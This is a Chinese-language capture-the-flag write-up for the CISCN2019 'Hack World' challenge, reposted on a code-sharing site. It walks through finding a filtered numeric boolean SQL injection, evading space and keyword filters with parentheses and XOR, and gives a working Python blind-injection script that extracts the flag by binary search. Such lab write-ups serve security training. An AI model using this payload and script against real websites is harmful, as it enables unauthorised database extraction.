刷題記錄--[CISCN2019 華北賽區 Day2 Web1]Hack World


1. 引言

題目鏈接:https://buuoj.cn/challenges#[CISCN2019 華北賽區 Day2 Web1]Hack World

2. 解題思路

  1. 輸入 1 或者 2 都有正常回顯,但是輸入1和2的回顯不同輸入其他會返回false,猜測為bool型注入。
    image
    image

  2. 空格、*、#、-、+、&、or、and等常規的SQL注入符號都被過濾了。
    image

  3. 輸入1/1,0^1的結果和輸入1的結果相同,說明為數值型注入,且可以使用盲注。
    image

  4. 利用ascii()和substr()方法進行盲注。

substr(string string,num start,num length);
select substr(參數1,參數2,參數3) from 表名`
string為字符串;start為起始位置;length為長度。
注意:mysql中的start是從1開始的。

ascii(substr((select(flag)from(flag)),i,1))=s
id=1^(ascii(substr((select(flag)from(flag)),i,1))>s)  //二分法

i為整型數,表示flag字段中某一個位置,s為可打印ascii字符,如果flag中第i個字符與字符s一樣,那么該語句為true,否則為false,結合二分法的話可以提高盲注腳本的效率。
盲注腳本如下:

import requests
import time

url='http://512bce8a-d748-455e-a8fd-bc960e4fc4ee.node3.buuoj.cn/index.php'
flag = ''
for i in range(1,43):
	max = 127
	min = 32
	while True:
		s = int(((max+min)/2))
		payload = '1^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')'
		# print(payload)
		r = requests.post(url,data = {'id':payload})
		time.sleep(0.1)     #防止請求速度過快,被BUUCTF平台屏蔽請求
		if 'Hello, glzjin wants a girlfriend.' in str(r.content):
			max=s
		else:
			min=s
		if((max-min)<=1):
			# print(min)
			# print(max)
			flag+=chr(int(max))
			print(flag)
			break
print(flag)


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM